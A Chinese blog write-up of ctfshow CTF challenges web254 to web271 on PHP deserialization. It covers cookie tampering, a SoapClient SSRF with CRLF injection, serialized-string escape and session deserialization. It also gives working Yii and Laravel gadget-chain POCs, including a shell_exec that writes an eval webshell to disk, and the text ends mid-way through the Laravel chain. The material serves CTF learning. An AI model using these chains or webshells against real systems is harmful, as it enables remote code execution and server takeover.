ctfshow_web_PHP反序列化

php反序列化,刷完这部分的题也算看到了新的大陆,也发现了很多值得我慢慢推敲,细细品味的知识,加油加油。

有关PHP反序列化的知识整理我放到我的另一篇博客

43a4c54c7bf0689f5bd3d7b23798f9e9_6680261336665197454

web254

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

题解

这题定义了一个类,没有魔术方法

image-20231014105724680

payload:

1
/?username=xxxxxx&password=xxxxxx

比较简单,出题人的意思应该是让我们了解一下php的类

web255

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

题解

这道题添加了反序列化,检查user的cookie反序列化后是否

思路是在本地将$isvip的值设置为ture然后运行PHP脚本生成序列化的字符串

1
2
3
4
5
<?php
class ctfShowUser{
public $isVip=true;
}
echo urlencode(serialize(new ctfShowUser()));

传递的cookie需要url编码

然后添加一个名为user的cookie的值为序列化后得到的字符串

1
O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

image-20231014111410499

最后传参

1
username=xxxxxx&password=xxxxxx

注意

序列化字符串最好自己在本地生成,因为有可能会生成一些不可见字符,复制别人的payload可能无法使用。

image-20231014111355696

web256

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

相较于上题,多了一个判断,要求用户名与密码不相同

题解

构造cookie的脚本

1
2
3
4
5
6
7
<?php
class ctfShowUser{
public $username='1';
public $password='2';
public $isVip=true;
}
echo urlencode(serialize(new ctfShowUser()));

传参(要与构造的值一致)

在PHP中,new关键字用于创建一个类的新实例(对象)。在上面的代码中,new ctfShowUser() 的作用是创建一个名为ctfShowUser的类的新实例,也就是创建一个ctfShowUser对象。这个对象会包含类中定义的属性和方法,并可以在代码中进行操作和访问。

具体来说,new ctfShowUser() 执行以下操作:

  1. 分配内存空间:它会为新对象分配足够的内存空间,以存储该对象的属性和方法。
  2. 初始化属性:对象的属性会根据类定义中的默认值进行初始化。在这个例子中,$username属性被初始化为字符串’1’,$password属性被初始化为字符串’2’,$isVip属性被初始化为布尔值true
  3. 返回对象:new关键字返回一个指向新对象的引用,这个引用可以存储在变量中,以便后续使用对象的方法和属性。

通过new关键字,您可以在代码中创建多个相同类的不同实例,每个实例都可以具有自己的属性值,但共享类定义中的方法。这是面向对象编程中的重要概念,允许您创建多个对象,每个对象都可以独立操作,而不会相互影响。

1
?username=1&password=2

image-20231014112150623

web257

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';

public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}

}

class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}

题解

反序列化的宗旨是:我虽然不能改他的类,但是可以控制类的属性

我们可以将class修改的值修改为一个backDoor对象,对backDoor类中的code属性进行赋值来达到rce

username和password只需要存在即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';

public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}

}

class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
private $code='eval($_POST[1]);';
public function getInfo(){
eval($this->code);
}
}

echo urlencode(serialize(new ctfShowUser()));

?>

web258

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 21:38:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';

public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}

}

class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}

题解

增加了对形如O:数字这样的过滤,通过用+数字 进行绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true;
public $class = 'backDoor';

public function __construct(){
$this->class=new backDoor();
}

public function __destruct(){
$this->class->getInfo();
}

}

class backDoor{
public $code='eval($_POST[1]);';
public function getInfo(){
eval($this->code);
}
}
$a = new ctfShowUser();
$a = serialize($a);

$a= str_replace('O:', 'O:+',$a);//绕过preg_match
echo urlencode($a);

将生成的写入cookie

payload

1
2
?username=1&password=2
1=system('tac flag.php');

image-20231014160113748

web259

题目

flag.php

用于处理HTTP请求头中的X-Forwarded-For值,以及对token的验证。以下是对代码的分析:

  1. $xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
    • 这一行代码首先将X-Forwarded-For HTTP请求头的内容以逗号为分隔符拆分成一个数组,并将其存储在$xff变量中。通常,X-Forwarded-For头包含一系列IP地址,用于表示请求经过的代理服务器。
  2. array_pop($xff);
    • 这一行代码从$xff数组中移除最后一个元素(最后一个IP地址)。这是因为通常最后一个IP地址是最接近的客户端的真实IP地址,而之前的IP地址表示请求通过的代理服务器。
  3. $ip = array_pop($xff);
    • 这一行代码再次从$xff数组中移除最后一个元素,并将其存储在$ip变量中。现在,$ip变量包含了客户端的IP地址。
  4. if($ip!=='127.0.0.1'){ die('error'); } else { ... }
    • 这个条件语句检查$ip是否等于127.0.0.1,也就是本地回环地址(localhost)。如果不是,代码会执行die('error'),即终止脚本执行,并输出”error”。
  5. 接下来,如果$ip等于127.0.0.1,则继续执行下面的代码块。这部分代码涉及处理token
    • $token = $_POST['token']; 从POST请求中获取token的值。
    • if($token=='ctfshow'){ ... } 检查$token的值是否等于字符串”ctfshow”。如果是,代码会执行下面的操作:
  6. file_put_contents('flag.txt', $flag);
    • 如果$token等于”ctfshow”,则代码将尝试将$flag的内容写入名为’flag.txt’的文件。然而,在提供的代码段中,并没有显示$flag的赋值操作。这意味着$flag的值必须在代码的其他部分被定义,否则此行代码将无法正常工作。
1
2
3
4
5
6
7
8
9
10
11
12
13
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

highlight_file(__FILE__);


$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();





Notice: Undefined index: vip in /var/www/html/index.php on line 6

Fatal error: Uncaught Error: Call to a member function getFlag() on bool in /var/www/html/index.php:8 Stack trace: #0 {main} thrown in /var/www/html/index.php on line 8

image-20231014161900679

题解

通过flag.php可知必须本地访问flag.php 而且带上token 一看ip=xff,第一反应就是改xff为127.0.0.1但是这个题不行,因为有cloudfare代理无法通过本地构造XFF绕过,因此这题需要利用原生类的反序列化来实现SSRF,SoapClient原生类的反序列化
在本题的环境当中,由于使用了Cloudflare 代理导致,Cloudflare 会将 HTTP 代理的 IP 地址附加到这
个标头,本题就是后者的情况,在两次调用array_pop后我们取得的始终是固定的服务器IP

SOAPAction 处是我们的可控参数,因此我们可以尝试注入我们自己恶意构造
的CRLF即插入\r\n

这里我们本地端监听,运行

1
2
3
4
5
<?php
$ua="ctfshow\r\nx-forwarded-for:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
$client=new SoapClient(null,array('uri'=>"127.0.0.1",'location'=>"http://127.0.0.1:9999",'user_agent'=>$ua));
$client->getFlag(); //调用不存在的方法,会自动调用——call()函数来发送请求
?>

image-20231014174720709

运行脚本得到payload

1
2
3
4
5
<?php
$ua="ctfshow\r\nx-forwarded-for:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
$client=new SoapClient(null,array('uri'=>"127.0.0.1/",'location'=>"http://127.0.0.1/flag.php",'user_agent'=>$ua));
echo urlencode(serialize($client))
?>

然后访问flag.txt文件

image-20231014174854636

web260

题目

1
2
3
4
5
6
7
8
9
<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}

题解

paylod

1
ctfshow=ctfshow_i_love_36D

web261

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php

highlight_file(__FILE__);

class ctfshowvip{
public $username;
public $password;
public $code;

public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
eval($this->code);
}

public function __sleep(){
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}

unserialize($_GET['vip']);

题解

php7.4以上会绕过__wakeup这个魔术函数

因为是弱类型比较username转换成16进制要为0x36d

password写入一句话木马

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class ctfshowvip{
public $username;
public $password;
public $code;

public function __construct($u='877.php',$p='<?php eval($_POST[1]);'){
$this->username=$u;
$this->password=$p;
}
}
echo urlencode(serialize(new ctfshowvip()))
?>

vip传参即可

image-20231014213348617

访问877.php然后成功rce

image-20231014213757156

web262

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}

highlight_file(__FILE__);

如果使用了str_replace对输入进行过滤,出现了序列化后的得到的字符数量与真实字符的数量不同的情况

例如

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class atlantic{
public $username;
public $password;
public $code;

public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
$this->code=0;
}
}
$u=new atlantic('admin',(123456));
echo serialize($u);
?>

这段代码生成的序列化内容为

O:8:”atlantic”:3:{s:8:”username”;s:5:”admin”;s:8:”password”;i:123456;s:4:”code”;i:0;}

然后添加一个过滤的函数,得到新的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class atlantic{
public $username;
public $password;
public $code;

public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
$this->code=0;
}
}
function filter($s){
return str_replace('admin','hacker',$s);
}

$u = new atlantic('admin','123456');
$us = serialize($u);
$n = filter($us);
echo $n;
//O:8:"atlantic":3:{s:8:"username";s:5:"admin";s:8:"password";i:123456;s:4:"code";i:0;}
//O:8:"atlantic":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:4:"code";i:0;}
?>

image-20231014221258551

进行一个拼接得到

1
;s:8:"password";s:6:"123456";s:4:"code";i:0;}

拼接到第17行的admin后面

image-20231014222222605

1
O:8:"atlantic":3:{s:8:"username";s:50:"admin;s:8:"password";s:6:"123456";s:4:"code";i:0;}";s:8:"password";s:6:"123456";s:4:"code";i:0;}

通过计算添加admin是序列化后的字符数量与替换后的相同image-20231014225751775

逃逸是对序列化后的字符串进行一个替换

题解

解法一

php脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
function filter($msg){
return str_replace('fuck', 'loveU',$msg);
}
$msg=new message('fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"a";s:2:"to";s:1:"b";s:5:"token";s:5:"admin";}','a','b');
$msg_1=serialize($msg);
$msg_2=filter($msg_1);
echo $msg_2;
//结果为:O:7:"message":4:{s:4:"from";s:310:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:3:"msg";s:1:"a";s:2:"to";s:1:"b";s:5:"token";s:5:"admin";}";s:3:"msg";s:1:"a";s:2:"to";s:1:"b";s:5:"token";s:4:"user";}

image-20231015003408676

解法二

taken可以直接替代,直接写入admin

web263

题目

我们登录进去只有一个登录页面和check.php

题解

本题考查session反序列化漏洞

扫描目录可以得到网站的备份文件www.zip得到源代码

在属性的值中加入|的话 ,在check.php和inc/inc.php页面反序列化的时候|前面的会被看做键名,会对|后面的进行反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
//ini_set('session.serialize_handler', 'php_serialize');
session_start();
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}

}
$user = new User('1.php','<?php eval($_POST[a]);phpinfo();?>');
//$_SESSION['user']= $user;

echo urlencode(base64_encode('|'.serialize($user)));

将生成的写入cookie的limit值

image-20231015153346352

web264

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
session_start();

class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
$_SESSION['msg']=base64_encode($umsg);
echo 'Your message has been sent';
}

highlight_file(__FILE__);

题解

已经写入session了所以无法控制,使用逃逸

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class message{
public $from;
public $msg;
public $to;
public $token='admin';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
function filter($msg){
return str_replace('fuck', 'loveU', serialize($msg));
}
$msg=new message('a','b','fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}');
$msg_2=serialize($msg);
$msg_1=filter($msg_2);
echo $msg_1;

image-20231015160330276

访问message.php传入cookie即可

web265

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-04 23:52:24
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;

public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
echo $flag;
}
  • mt_rand() 是一个 PHP 函数,用于生成一个随机整数。
  • md5() 是一个 PHP 函数,用于计算字符串的 MD5 哈希值。

所以,md5(mt_rand()) 这个表达式首先生成一个随机整数,然后计算该整数的 MD5 哈希值。最后,将计算得到的 MD5 哈希值分配给$ctfshow对象的token属性。

这个步骤的目的似乎是为了将token属性设置为一个不断变化的、随机的值,以使登录验证过程永远不会成功,因为$ctfshow->login()方法检查$token$password属性是否相等,而它们将永远不会相等。

题解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class ctfshowAdmin{
public $token;
public $password;

public function __construct($t,$p){
$this->token=$t;
$this->password = &$this->token;
}
public function login(){
return $this->token===$this->password;
}
}
$admin = new ctfshowAdmin('123','123');
echo serialize($admin);

由于本题的token不可控,所以控password的值

$this->password = &$this->token; 这行代码的意思是将$this->password属性设置为对$this->token属性的引用。这意味着它们引用了相同的内存位置,因此它们在内部指向相同的数据。

具体来说,这行代码创建了一个引用关系,这意味着如果您更改$this->token的值,$this->password的值也会相应地发生变化,因为它们指向相同的数据。这可以用来确保$this->password 始终与$this->token 保持同步,无论您对哪个属性进行更改,另一个属性都将反映这些更改。

变量变地址不变

image-20231016224806450

web266

题解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-04 23:52:24
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

highlight_file(__FILE__);

include('flag.php');
$cs = file_get_contents('php://input');


class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}

题目

想办法绕过这个异常

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
}
$admin = new ctfshow('123','123');
echo serialize($admin);

解法一不破坏类名但是让他内容反序列化失败

解法二大小写绕过

image-20231016231235937

web267

题目

有一个像样的界面了,

image-20231017122856227

弱口令admin,admin登录进去

在about界面查看源代码,发现注释里面有

image-20231017123148833

拼接到url后面访问看到

image-20231017123137452

看到了反序列化的入口

题解

这道题是对yii框架漏洞的一个复现

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;

public function __construct(){
$this->checkAccess = 'phpinfo';
$this->id = '1';
}
}
}

namespace Faker{
use yii\rest\CreateAction;

class Generator{
protected $formatters;

public function __construct(){
// 这里需要改为isRunning
$this->formatters['isRunning'] = [new CreateAction(), 'run'];
}
}
}

// poc2
namespace Codeception\Extension{
use Faker\Generator;
class RunProcess{
private $processes;
public function __construct()
{
$this->processes = [new Generator()];
}
}
}
namespace{
// 生成poc
echo base64_encode(serialize(new Codeception\Extension\RunProcess()));
}
?>

用dnslog外带数据没成功,以后再试试。看群主的视频看到网站所在目录为

/var/www/html/basic/web/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;

public function __construct(){
$this->checkAccess = 'shell_exec';
$this->id = "echo '<?php eval(\$_POST[1]);phpinfo();?>' > /var/www/html/basic/web/2.php";
}
}
}

namespace Faker{
use yii\rest\CreateAction;

class Generator{
protected $formatters;

public function __construct(){
// 这里需要改为isRunning
$this->formatters['isRunning'] = [new CreateAction(), 'run'];
}
}
}

// poc2
namespace Codeception\Extension{
use Faker\Generator;
class RunProcess{
private $processes;
public function __construct()
{
$this->processes = [new Generator()];
}
}
}
namespace{
// 生成poc
echo base64_encode(serialize(new Codeception\Extension\RunProcess()));
}
?>

写入一句话木马然后访问2.php传参即可

image-20231017180210110

查看根目录,发现flag所在位置

web268

题目

过滤了一些东西,有的链子用不了了,但是上题我们那个链子还是可以使用

题解

web269

题目

还是yii的漏洞

题解

上一个链子用不了了用这个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;

public function __construct(){
$this->checkAccess = 'phpinfo';
$this->id = '1';
}
}
}

namespace Faker{
use yii\rest\CreateAction;

class Generator{
protected $formatters;

public function __construct(){
// 这里需要改为isRunning
$this->formatters['render'] = [new CreateAction(), 'run'];
}
}
}

namespace phpDocumentor\Reflection\DocBlock\Tags{

use Faker\Generator;

class See{
protected $description;
public function __construct()
{
$this->description = new Generator();
}
}
}
namespace{
use phpDocumentor\Reflection\DocBlock\Tags\See;
class Swift_KeyCache_DiskKeyCache{
private $keys = [];
private $path;
public function __construct()
{
$this->path = new See;
$this->keys = array(
"axin"=>array("is"=>"handsome")
);
}
}
// 生成poc
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>

web270

题目

题解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
namespace yii\rest {
class Action
{
public $checkAccess;
}
class IndexAction
{
public function __construct($func, $param)
{
$this->checkAccess = $func;
$this->id = $param;
}
}
}
namespace yii\web {
abstract class MultiFieldSession
{
public $writeCallback;
}
class DbSession extends MultiFieldSession
{
public function __construct($func, $param)
{
$this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
}
}
}
namespace yii\db {
use yii\base\BaseObject;
class BatchQueryResult
{
private $_dataReader;
public function __construct($func, $param)
{
$this->_dataReader = new \yii\web\DbSession($func, $param);
}
}
}
namespace {
$exp = new \yii\db\BatchQueryResult('phpinfo();', '1');
echo(base64_encode(serialize($exp)));
}


web271

题目

一个Laravel链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php

/**
* Laravel - A PHP Framework For Web Artisans
*
* @package Laravel
* @author Taylor Otwell <taylor@laravel.com>
*/

define('LARAVEL_START', microtime(true));

/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader for
| our application. We just need to utilize it! We'll simply require it
| into the script here so that we don't have to worry about manual
| loading any of our classes later on. It feels great to relax.
|
*/

require __DIR__ . '/../vendor/autoload.php';

/*
|--------------------------------------------------------------------------
| Turn On The Lights
|--------------------------------------------------------------------------
|
| We need to illuminate PHP development, so let us turn on the lights.
| This bootstraps the framework and gets it ready for use, then it
| will load up this application so that we can run it and send
| the responses back to the browser and delight our users.
|
*/

$app = require_once __DIR__ . '/../bootstrap/app.php';

/*
|--------------------------------------------------------------------------
| Run The Application
|--------------------------------------------------------------------------
|
| Once we have the application, we can handle the incoming request
| through the kernel, and send the associated response back to
| the client's browser allowing them to enjoy the creative
| and wonderful application we have prepared for them.
|
*/

$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
$response = $kernel->handle(
$request = Illuminate\Http\Request::capture()
);
@unserialize($_POST['data']);
highlight_file(__FILE__);

$kernel->terminate($request, $response);

网上有关于这个反序列化的链子

题解

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php

namespace Illuminate\Foundation\Testing {
class PendingCommand
{
public $test;
protected $app;
protected $command;
protected $parameters;

public function __construct($test, $app, $command, $parameters)
{
$this->test = $test; //一个实例化的类 Illuminate\Auth\GenericUser
$this->app = $app; //一个实例化的类 Illuminate\Foundation\Application
